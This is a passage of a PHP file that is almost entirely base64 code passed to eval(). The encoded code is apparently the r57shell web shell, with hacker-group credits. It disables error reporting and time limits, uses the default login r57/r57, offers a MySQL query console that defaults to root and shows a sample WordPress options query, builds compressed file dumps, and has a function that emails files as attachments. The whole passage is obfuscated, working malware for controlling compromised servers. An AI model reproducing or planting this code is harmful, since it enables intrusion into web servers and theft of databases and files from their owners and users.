DogIzQ3NDc0Nzt9DQoJCWJvZHksIHRleHRhcmVhLCAuc2hlbGwsIGlucHV0LCBzZWxlY3QsIG9wdGlvbg0KCQl7DQoJCQliYWNrZ3JvdW5kOiAjMDAwMDAwOw0KCQl9DQoJCS5pbmZvLCAuaW5mbyB0aCwgLmluZm8gdGQsIGlucHV0W3R5cGU9ImxhYmVsIl0NCgkJew0KCQkJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7DQoJCQlib3JkZXI6IDA7DQoJCX0NCgkJI3BhZ2ViYXIgdGQsICNtYWlucGFuZWwgdGQsICNtYWlucGFuZWwgdGgsIC5jb250ZW50cyB0aCwgLmV4cGxvcmVyIHRkDQoJCXsNCgkJCWJvcmRlci1sZWZ0OiAwOw0KCQkJYm9yZGVyLXJpZ2h0OiAwOw0KCQl9DQoJCS5iYXJ0aXRsZSwgLmJhcmhlYWRlciwgaW5wdXRbdHlwZT0ic3VibWl0Il0sIGlucHV0W3R5cGU9ImJ1dHRvbiJdLCBpbnB1dFt0eXBlPSJyZXNldCJdDQoJCXsNCgkJCWNvbG9yOiAjRDBEMEQwOw0KCQkJYmFja2dyb3VuZDogIzNGM0YzRjsNCgkJCWJvcmRlcjogMXB4IHNvbGlkICMyMDIwMjA7DQoJCQlib3JkZXItdG9wOiAxcHggc29saWQgIzUwNTA1MDsNCgkJCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzUwNTA1MDsNCgkJfQ0KCQlpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciwgaW5wdXRbdHlwZT0iYnV0dG9uIl06aG92ZXIsIGlucHV0W3R5cGU9InJlc2V0Il06aG92ZXINCgkJew0KCQkJY29sb3I6ICMwMEZGMDA7DQoJCQliYWNrZ3JvdW5kOiAjMzMzMzMzOw0KCQl9DQoJCXRkLCAuaW5mbyB0aCB7dmVydGljYWwtYWxpZ246IHRvcDt9DQoJCS5leHBsb3JlciB0ZCB7dmVydGljYWwtYWxpZ246IG1pZGRsZTt9DQoJCS5mbGVmdCB7ZmxvYXQ6IGxlZnQ7fQ0KCQkuZnJpZ2h0IHtmbG9hdDogcmlnaHQ7fQ0KCQkuY29kZSwgLmZsZWZ0LCAuaW5mbyB0aCB7dGV4dC1hbGlnbjogbGVmdDt9DQoJCS5mcmlnaHQsIGlucHV0W3R5cGU9ImxhYmVsIl0sICNtYWlucGFuZWwgdGgsIC5jb250ZW50cyB0aA0KCQl7DQoJCQl0ZXh0LWFsaWduOiByaWdodDsNCgkJfQ0KCQkjbWFpbmluZm8sIC5iYXJ0aXRsZSwgLnF1aWNrbGF1bmNoLCAucXVpY2tsYXVuY2ggYSwgLmJhcmhlYWRlciwgdGgNCgkJew0KCQkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQl9DQoJCXRkLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0idGV4dCJdLCAuYmFydGl0bGUsIC5iYXJoZWFkZXIsIC5jb2RlLCB0aA0KCQl7DQoJCQlwYWRkaW5nOiAzcHg7DQoJCX0NCgkJLmluZm8gdGgsIC5pbmZvIHRkIHtwYWRkaW5nOiAwcHggMnB4IDBweCAycHg7fQ0KCQkucXVpY2tsYXVuY2ggYSB7cGFkZGluZyA6IDBweCA1cHggMHB4IDVweDt9DQoJPC9zdHlsZT4NCg0KCTx0aXRsZT4nLmdldGVudigiSFRUUF9IT1NUIikuJyAtICcuc2hfbmFtZSgpLic8L3RpdGxlPg0KDQo8L2hlYWQ+DQoNCjxib2R5PjxjZW50ZXI+DQoNCic7cmV0dXJuICRzdHlsZTt9O2Z1bmN0aW9uIGh0bWxfaGVhZGVyKCl7cmV0dXJuICI8Yj4iLnNoX25hbWUoKS4iPC9iPjxicj4uOiBIYWNrZXItbmV3YmllLm9yZyB8IGtlY29hay1pcmMubmV0IDouIjt9ZnVuY3Rpb24gaHRtbF9mb290ZXIoKXtyZXR1cm4gIiZjb3B5OyBIYWNrZXItTmV3YmllIENvbW11bml0eSB8IEtlY29hSyB8IGtlY29ha0BpcmMuYnlyb2UubmV0LiBHZW5lcmF0ZWQ6ICIucm91bmQoZ2V0bWljcm90aW1lKCktc3RhcnR0aW1lLDQgKS4iIHNlY29uZHMiO31mdW5jdGlvbiBkaXNwX2Vycm9yKCRtc2cpe2VjaG8gIjxkaXYgY2xhc3M9ZXJybXNnPiRtc2c8L2Rpdj5cbiI7fWZ1bmN0aW9uIHNydl9pbmZvKCR0aXRsZSwkY29udGVudHMpe2VjaG8gIlx0XHRcdDx0cj48dGg+JHRpdGxlPC90aD48dGQ+OjwvdGQ+PHRkPiRjb250ZW50czwvdGQ+PC90cj5cbiI7fWZ1bmN0aW9uIHNydl9zb2Z0d2FyZSgkc3VybCl7JHNydl9zb2Z0d2FyZT1nZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpO2lmKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJHNydl9zb2Z0d2FyZSkpeyRzcnZfc29mdHdhcmUuPSIuIFBIUC8iLnBocHZlcnNpb24oKTt9cmV0dXJuIHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPlBIUC8iLnBocHZlcnNpb24oKS4iPC9hPiIsaHRtbHNwZWNpYWxjaGFycygkc3J2X3NvZnR3YXJlKSk7fWZ1bmN0aW9uIGJhcl9oZWFkZXIoJHN0cil7ZWNobyAnPGRpdiBjbGFzcz0iYmFyaGVhZGVyIj4nLiRzdHIuJzwvZGl2Jy4iXG4iO31jaGRpcigkbGFzdGRpcik7ZngyOXNoZXhpdCgpO2V4aXQoKTs="));
 }else{ 
eval(base64_decode("JGxhbmd1YWdlPSdlbmcnOyRhdXRoPTAgOyRuYW1lPSdyNTcnOyRwYXNzPSdyNTcnO2Vycm9yX3JlcG9ydGluZygwICk7c2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDAgKTtAc2V0X3RpbWVfbGltaXQoMCApO0Bpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDAgKTtAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCApOyRzYWZlX21vZGU9QGluaV9nZXQoJ3NhZmVfbW9kZScpOyR2ZXJzaW9uPSIxLjI0IC8gMS43LjIiO2lmKHZlcnNpb25fY29tcGFyZShwaHB2ZXJzaW9uKCksJzQuMS4wJyk9PS0xICl7JF9QT1NUPSYkX1BPU1Q7JF9HRVQ9JiRfR0VUOyRfU0VSVkVSPSYkX1NFUlZFUjt9aWYoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe2ZvcmVhY2goJF9QT1NUIGFzICRrPT4kdil7JF9QT1NUWyRrXT1zdHJpcHNsYXNoZXMoJHYpO31mb3JlYWNoKCRfU0VSVkVSIGFzICRrPT4kdil7JF9TRVJWRVJbJGtdPXN0cmlwc2xhc2hlcygkdik7fX1pZigkYXV0aD09MSApe2lmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddIT09JG5hbWUgfHwgJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10hPT0kcGFzcyl7aGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0icjU3c2hlbGwiJyk7aGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7ZXhpdCgiPGI+PGEgaHJlZj1odHRwOi8vcnN0LnZvaWQucnU+cjU3c2hlbGw8L2E+IDogQWNjZXNzIERlbmllZDwvYj4iKTt9fSRoZWFkPSc8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnI1N3NoZWxsPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MSI+DQoNCjxTVFlMRT4NCnRyIHsNCkJPUkRFUi1SSUdIVDogICNhYWFhYWEgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgI2VlZWVlZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjZWVlZWVlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNhYWFhYWEgMXB4IHNvbGlkOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI2FhYWFhYSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjZWVlZWVlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNlZWVlZWUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2FhYWFhYSAxcHggc29saWQ7DQp9DQoudGFibGUxIHsNCkJPUkRFUi1SSUdIVDogICNjY2NjY2MgMHB4Ow0KQk9SREVSLVRPUDogICAgI2NjY2NjYyAwcHg7DQpCT1JERVItTEVGVDogICAjY2NjY2NjIDBweDsNCkJPUkRFUi1CT1RUT006ICNjY2NjY2MgMHB4Ow0KQkFDS0dST1VORC1DT0xPUjogI0Q0RDBDODsNCn0NCi50ZDEgew0KQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAwcHg7DQpCT1JERVItVE9QOiAgICAjY2NjY2NjIDBweDsNCkJPUkRFUi1MRUZUOiAgICNjY2NjY2MgMHB4Ow0KQk9SREVSLUJPVFRPTTogI2NjY2NjYyAwcHg7DQpmb250OiA3cHQgVmVyZGFuYTsNCn0NCi50cjEgew0KQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAwcHg7DQpCT1JERVItVE9QOiAgICAjY2NjY2NjIDBweDsNCkJPUkRFUi1MRUZUOiAgICNjY2NjY2MgMHB4Ow0KQk9SREVSLUJPVFRPTTogI2NjY2NjYyAwcHg7DQp9DQp0YWJsZSB7DQpCT1JERVItUklHSFQ6ICAjZWVlZWVlIDFweCBvdXRzZXQ7DQpCT1JERVItVE9QOiAgICAjZWVlZWVlIDFweCBvdXRzZXQ7DQpCT1JERVItTEVGVDogICAjZWVlZWVlIDFweCBvdXRzZXQ7DQpCT1JERVItQk9UVE9NOiAjZWVlZWVlIDFweCBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjRDREMEM4Ow0KfQ0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Ow0KZm9udDogOHB0IFZlcmRhbmE7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Ow0KZm9udDogOHB0IFZlcmRhbmE7DQp9DQpzdWJtaXQgew0KQk9SREVSLVJJR0hUOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQpCT1JERVItVE9QOiAgICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJPUkRFUi1MRUZUOiAgIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQk9SREVSLUJPVFRPTTogYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjZTRlMGQ4Ow0Kd2lkdGg6IDMwJTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQp9DQpCT0RZIHsNCm1hcmdpbi10b3A6IDFweDsNCm1hcmdpbi1yaWdodDogMXB4Ow0KbWFyZ2luLWJvdHRvbTogMXB4Ow0KbWFyZ2luLWxlZnQ6IDFweDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KPC9TVFlMRT4nO2NsYXNzIGRibXlzcWx7dmFyICRjb25uaWQ9MCA7dmFyICRyZXN1bHQ9Jyc7dmFyICRlcnJvcm1zZz0nJzt2YXIgJGxhbmc9YXJyYXkoImVycjEiPT4iVW5hYmxlIHRvIHNlbGVjdCBkYXRhYmFzZSEiLCJlcnIyIj0+Ik5vIGNvbm5lY3Rpb24gdG8gdGhlIGRhdGFiYXNlISIsImVycjMiPT4iVW5hYmxlIHRvIGV4ZWN1dGUgcXVlcnk6ICIpO3ZhciAkZXJyb3JTaG93PTEgO3ZhciAkZXJyb3JFeGl0PTEgO3ZhciAkY2hhcj0iIjtmdW5jdGlvbiBkYm15c3FsKCRzZXJ2ZXIsJHVzZXIsJHBhc3N3b3JkLCRkYXRhYmFzZSwkY2hhcj1udWxsKXskdGhpcy0+Y2hhcj0oJGNoYXIhPW51bGwpPyRjaGFyOiJjcDEyNTEiOyR0aGlzLT5zZXJ2ZXI9JHNlcnZlcjskdGhpcy0+dXNlcj0kdXNlcjskdGhpcy0+cGFzc3dvcmQ9JHBhc3N3b3JkOyR0aGlzLT5kYXRhYmFzZT0kZGF0YWJhc2U7aWYoJHRoaXMtPmNvbm5pZD09MCApeyR0aGlzLT5jb25uaWQ9QG15c3FsX2Nvbm5lY3QoJHRoaXMtPnNlcnZlciwkdGhpcy0+dXNlciwkdGhpcy0+cGFzc3dvcmQpO215c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIuJHRoaXMtPmNoYXIuIiciKTtteXNxbF9xdWVyeSgiU0VUIENIQVJBQ1RFUiBTRVQgJyIuJHRoaXMtPmNoYXIuIiciKTtpZigkdGhpcy0+Y29ubmlkKXtpZigkdGhpcy0+ZGF0YWJhc2UhPSIiKXtpZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5kYXRhYmFzZSwkdGhpcy0+Y29ubmlkKSl7cmV0dXJuICR0aGlzLT5jb25uaWQ7fWVsc2UgeyR0aGlzLT5lcnJvcm1zZz0kdGhpcy0+bGFuZ1snZXJyMSddOyR0aGlzLT5lcnJvcigpO319fWVsc2UgeyR0aGlzLT5lcnJvcm1zZz0kdGhpcy0+bGFuZ1snZXJyMiddOyR0aGlzLT5lcnJvcigpO319fWZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeT0nJyl7JHRoaXMtPnJlc3VsdD0nJztpZigkcXVlcnkpeyR0aGlzLT5yZXN1bHQ9QG15c3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmlkKTt9aWYoJHRoaXMtPnJlc3VsdCl7cmV0dXJuICR0aGlzLT5yZXN1bHQ7fWVsc2UgeyR0aGlzLT5lcnJvcm1zZz0kdGhpcy0+bGFuZ1snZXJyMyddLiRxdWVyeTskdGhpcy0+ZXJyb3IoKTtmYWxzZTt9fWZ1bmN0aW9uIGZldGNocm93KCRxdWVyeT0wICl7cmV0dXJuIEBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpO31mdW5jdGlvbiBjb3VudCgkcXVlcnk9MCApe3JldHVybiBAbXlzcWxfbnVtX3Jvd3MoJHF1ZXJ5KTt9ZnVuY3Rpb24gZXNjYXBlKCRpbnApe3JldHVybiBAbXlzcWxfZXNjYXBlX3N0cmluZygkaW5wKTt9ZnVuY3Rpb24gZXJyb3IoKXtpZigkdGhpcy0+ZXJyb3JTaG93PT0xICl7cHJpbnQgJHRoaXMtPmVycm9ybXNnO31pZigkdGhpcy0+ZXJyb3JFeGl0PT0xICl7ZXhpdCgpO319ZnVuY3Rpb24gZmV0Y2hyb3dBcnIoJHF1ZXJ5KXskcmVzdWx0PWFycmF5KCk7d2hpbGUoJGl0ZW09JHRoaXMtPmZldGNocm93KCRxdWVyeSkpeyRyZXN1bHRbXT0kaXRlbTt9cmV0dXJuICRyZXN1bHQ7fWZ1bmN0aW9uIHF1ZXJ5QXJyKCRxdWVyeSl7cmV0dXJuICR0aGlzLT5mZXRjaHJvd0FycigkdGhpcy0+cXVlcnkoJHF1ZXJ5KSk7fX1jbGFzcyB6aXBmaWxle3ZhciAkZGF0YXNlYz1hcnJheSgpO3ZhciAkY3RybF9kaXI9YXJyYXkoKTt2YXIgJGVvZl9jdHJsX2Rpcj0iXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiO3ZhciAkb2xkX29mZnNldD0wIDtmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lPTAgKXskdGltZWFycmF5PSgkdW5peHRpbWU9PTAgKT9nZXRkYXRlKCk6Z2V0ZGF0ZSgkdW5peHRpbWUpO2lmKCR0aW1lYXJyYXlbJ3llYXInXTwxOTgwICl7JHRpbWVhcnJheVsneWVhciddPTE5ODAgOyR0aW1lYXJyYXlbJ21vbiddPTEgOyR0aW1lYXJyYXlbJ21kYXknXT0xIDskdGltZWFycmF5Wydob3VycyddPTAgOyR0aW1lYXJyYXlbJ21pbnV0ZXMnXT0wIDskdGltZWFycmF5WydzZWNvbmRzJ109MCA7fXJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXS0xOTgwICk8PDI1ICl8KCR0aW1lYXJyYXlbJ21vbiddPDwyMSApfCgkdGltZWFycmF5WydtZGF5J108PDE2ICl8KCR0aW1lYXJyYXlbJ2hvdXJzJ108PDExICl8KCR0aW1lYXJyYXlbJ21pbnV0ZXMnXTw8NSApfCgkdGltZWFycmF5WydzZWNvbmRzJ10+PjEgKTt9ZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwkbmFtZSwkdGltZT0wICl7JG5hbWU9c3RyX3JlcGxhY2UoJ1xcJywnLycsJG5hbWUpOyRkdGltZT1kZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOyRoZXhkdGltZT0nXHgnLiRkdGltZVs2IF0uJGR0aW1lWzcgXS4nXHgnLiRkdGltZVs0IF0uJGR0aW1lWzUgXS4nXHgnLiRkdGltZVsyIF0uJGR0aW1lWzMgXS4nXHgnLiRkdGltZVswIF0uJGR0aW1lWzEgXTtldmFsKCckaGV4ZHRpbWUgPSAiJy4kaGV4ZHRpbWUuJyI7Jyk7JGZyPSJceDUwXHg0Ylx4MDNceDA0IjskZnIuPSJceDE0XHgwMCI7JGZyLj0iXHgwMFx4MDAiOyRmci49Ilx4MDhceDAwIjskZnIuPSRoZXhkdGltZTskdW5jX2xlbj1zdHJsZW4oJGRhdGEpOyRjcmM9Y3JjMzIoJGRhdGEpOyR6ZGF0YT1nemNvbXByZXNzKCRkYXRhKTskemRhdGE9c3Vic3RyKHN1YnN0cigkemRhdGEsMCAsc3RybGVuKCR6ZGF0YSktNCApLDIgKTskY19sZW49c3RybGVuKCR6ZGF0YSk7JGZyLj1wYWNrKCdWJywkY3JjKTskZnIuPXBhY2soJ1YnLCRjX2xlbik7JGZyLj1wYWNrKCdWJywkdW5jX2xlbik7JGZyLj1wYWNrKCd2JyxzdHJsZW4oJG5hbWUpKTskZnIuPXBhY2soJ3YnLDAgKTskZnIuPSRuYW1lOyRmci49JHpkYXRhOyR0aGlzLT5kYXRhc2VjW109JGZyOyRjZHJlYz0iXHg1MFx4NGJceDAxXHgwMiI7JGNkcmVjLj0iXHgwMFx4MDAiOyRjZHJlYy49Ilx4MTRceDAwIjskY2RyZWMuPSJceDAwXHgwMCI7JGNkcmVjLj0iXHgwOFx4MDAiOyRjZHJlYy49JGhleGR0aW1lOyRjZHJlYy49cGFjaygnVicsJGNyYyk7JGNkcmVjLj1wYWNrKCdWJywkY19sZW4pOyRjZHJlYy49cGFjaygnVicsJHVuY19sZW4pOyRjZHJlYy49cGFjaygndicsc3RybGVuKCRuYW1lKSk7JGNkcmVjLj1wYWNrKCd2JywwICk7JGNkcmVjLj1wYWNrKCd2JywwICk7JGNkcmVjLj1wYWNrKCd2JywwICk7JGNkcmVjLj1wYWNrKCd2JywwICk7JGNkcmVjLj1wYWNrKCdWJywzMiApOyRjZHJlYy49cGFjaygnVicsJHRoaXMtPm9sZF9vZmZzZXQpOyR0aGlzLT5vbGRfb2Zmc2V0Kz1zdHJsZW4oJGZyKTskY2RyZWMuPSRuYW1lOyR0aGlzLT5jdHJsX2RpcltdPSRjZHJlYzt9ZnVuY3Rpb24gZmlsZSgpeyRkYXRhPWltcGxvZGUoJycsJHRoaXMtPmRhdGFzZWMpOyRjdHJsZGlyPWltcGxvZGUoJycsJHRoaXMtPmN0cmxfZGlyKTtyZXR1cm4gJGRhdGEuJGN0cmxkaXIuJHRoaXMtPmVvZl9jdHJsX2Rpci5wYWNrKCd2JyxzaXplb2YoJHRoaXMtPmN0cmxfZGlyKSkucGFjaygndicsc2l6ZW9mKCR0aGlzLT5jdHJsX2RpcikpLnBhY2soJ1YnLHN0cmxlbigkY3RybGRpcikpLnBhY2soJ1YnLHN0cmxlbigkZGF0YSkpLiJceDAwXHgwMCI7fX1mdW5jdGlvbiBjb21wcmVzcygmJGZpbGVuYW1lLCYkZmlsZWR1bXAsJGNvbXByZXNzKXtnbG9iYWwgJGNvbnRlbnRfZW5jb2Rpbmc7Z2xvYmFsICRtaW1lX3R5cGU7aWYoJGNvbXByZXNzPT0nYnppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKXskZmlsZW5hbWUuPScuYnoyJzskbWltZV90eXBlPSdhcHBsaWNhdGlvbi94LWJ6aXAyJzskZmlsZWR1bXA9Ynpjb21wcmVzcygkZmlsZWR1bXApO31lbHNlIGlmKCRjb21wcmVzcz09J2d6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpeyRmaWxlbmFtZS49Jy5neic7JGNvbnRlbnRfZW5jb2Rpbmc9J3gtZ3ppcCc7JG1pbWVfdHlwZT0nYXBwbGljYXRpb24veC1nemlwJzskZmlsZWR1bXA9Z3plbmNvZGUoJGZpbGVkdW1wKTt9ZWxzZSBpZigkY29tcHJlc3M9PSd6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSl7JGZpbGVuYW1lLj0nLnppcCc7JG1pbWVfdHlwZT0nYXBwbGljYXRpb24vemlwJzskemlwZmlsZT1uZXcgemlwZmlsZSgpOyR6aXBmaWxlLT5hZGRGaWxlKCRmaWxlZHVtcCxzdWJzdHIoJGZpbGVuYW1lLDAgLC00ICkpOyRmaWxlZHVtcD0kemlwZmlsZS0+ZmlsZSgpO31lbHNlIHskbWltZV90eXBlPSdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nO319ZnVuY3Rpb24gbWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCl7JGhlYWRlcnM9IkZyb206ICRmcm9tXHJcbiI7JGhlYWRlcnMuPSJNSU1FLVZlcnNpb246IDEuMFxyXG4iOyRoZWFkZXJzLj0iQ29udGVudC1UeXBlOiAiLiRhdHRhY2hbJ3R5cGUnXTskaGVhZGVycy49IjsgbmFtZT1cIiIuJGF0dGFjaFsnbmFtZSddLiJcIlxyXG4iOyRoZWFkZXJzLj0iQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOyRoZWFkZXJzLj1jaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRhdHRhY2hbJ2NvbnRlbnQnXSkpLiJcclxuIjtpZihAbWFpbCgkdG8sJHN1YmosIiIsJGhlYWRlcnMpKXtyZXR1cm4gMSA7fXJldHVybiAwIDt9aWYoaXNzZXQoJF9HRVRbJ215c3FsX3F1ZXJ5J10pKXskbXlzcWxTZXJ2ZXI9KGlzc2V0KCRfUE9TVFsnbXlzcWxTZXJ2ZXInXSkpPyRfUE9TVFsnbXlzcWxTZXJ2ZXInXTonbG9jYWxob3N0JzskbXlzcWxVc2VyPShpc3NldCgkX1BPU1RbJ215c3FsVXNlciddKSk/JF9QT1NUWydteXNxbFVzZXInXToncm9vdCc7JG15c3FsUHdkPShpc3NldCgkX1BPU1RbJ215c3FsUHdkJ10pKT8kX1BPU1RbJ215c3FsUHdkJ106Jyc7JG15c3FsRGI9KGlzc2V0KCRfUE9TVFsnbXlzcWxEYiddKSk/JF9QT1NUWydteXNxbERiJ106Jyc7JG15c3FsUXVlcnk9KGlzc2V0KCRfUE9TVFsnbXlzcWxRdWVyeSddKSk/JF9QT1NUWydteXNxbFF1ZXJ5J106Jyc7cHJpbnQgJGhlYWQ7cHJpbnQgJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5NeXNxbCBxdWVyeTwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+JztwcmludCAnPGNlbnRlcj48dGFibGUgd2lkdGg9IjgwJSIgc3R5bGU9ImZvbnQtZmFtaWx5OlZlcmRhbmE7IGZvbnQtc2l6ZToxMHB4OyI+JztwcmludCAnPHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPic7cHJpbnQgJzxmb3JtIG1ldGhvZD0iUE9TVCI+JztwcmludCAnU2VydmVyOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJteXNxbFNlcnZlciIgdmFsdWU9IicuJG15c3FsU2VydmVyLiciIC8+Jm5ic3A7Jm5ic3A7JztwcmludCAnVXNlcjo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXlzcWxVc2VyIiB2YWx1ZT0iJy4kbXlzcWxVc2VyLiciIC8+Jm5ic3A7Jm5ic3A7JztwcmludCAnUGFzc3dvcmQ6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im15c3FsUHdkIiB2YWx1ZT0iJy4kbXlzcWxQd2QuJyIgLz4mbmJzcDsmbmJzcDsnO3ByaW50ICdEYXRhYmFzZTo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXlzcWxEYiIgdmFsdWU9IicuJG15c3FsRGIuJyIgLz48YnIgLz4nO3ByaW50ICdRdWVyeTo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iODAiIG5hbWU9Im15c3FsUXVlcnkiIHZhbHVlPSInLiRteXNxbFF1ZXJ5LiciIC8+Jm5ic3A7Jm5ic3A7JztwcmludCAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiIC8+JztwcmludCAnPC9mb3JtPic7cHJpbnQgJzwvdGQ+PC90cj4nO3ByaW50ICc8dHI+PHRkIGFsaWduPWNlbnRlcj48dGV4dGFyZWEgY29scz0xMjEgcm93cz0xNT4nO2lmKCRteXNxbFF1ZXJ5IT0nJyl7JGRiPW5ldyBkYm15c3FsKCRteXNxbFNlcnZlciwkbXlzcWxVc2VyLCRteXNxbFB3ZCwkbXlzcWxEYik7JHF1ZXJ5PSRkYi0+cXVlcnlBcnIoJG15c3FsUXVlcnkpO3ByaW50X3IoJHF1ZXJ5KTt9cHJpbnQgJzwvdGV4dGFyZWE+PC90ZD48L3RyPic7cHJpbnQgJzx0cj48dGQgc3R5bGU9ImZvbnQtc2l6ZTo5cHg7Ij48Yj48dT5FeGFtcGxlczo8L3U+PC9iPjxiciAvPic7cHJpbnQgIjxiPldvcmRQcmVzczo8L2I+IFNFTEVDVCBgb3B0aW9uX25hbWVgLGBvcHRpb25fdmFsdWVgIEZST00gYHdwX29wdGlvbnNgIFdIRVJFIGBvcHRpb25fbmFtZWAgPSAndGVtcGxhdGUnIE9SIGBvcHRpb25fbmFtZWAgPSAnc2l0ZXVybCciO3ByaW50ICc8L3RkPjwvdHI+JztwcmludCAnPC90YWJsZT48L2NlbnRlcj4nO3ByaW50ICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iO2RpZSgpO31pZihpc3NldCgkX0dFVFsnaW1nJ10pICYmICFlbXB0eSgkX0dFVFsnaW1nJ10pKXskaW1hZ2VzPWFycmF5KCk7JGltYWdlc1sxIF09J1IwbEdPRGxoQndBSEFJQUFBQUFBQVAvLy95SDVCQUVBQUFFQUxBQUFBQUFIQUFjQUFBSUxqSTlwa09EbllvaFVoUUlBT3c9PSc7JGltYWdlc1syIF09J1IwbEdPRGxoQndBSEFJQUFBQUFBQVAvLy95SDVCQU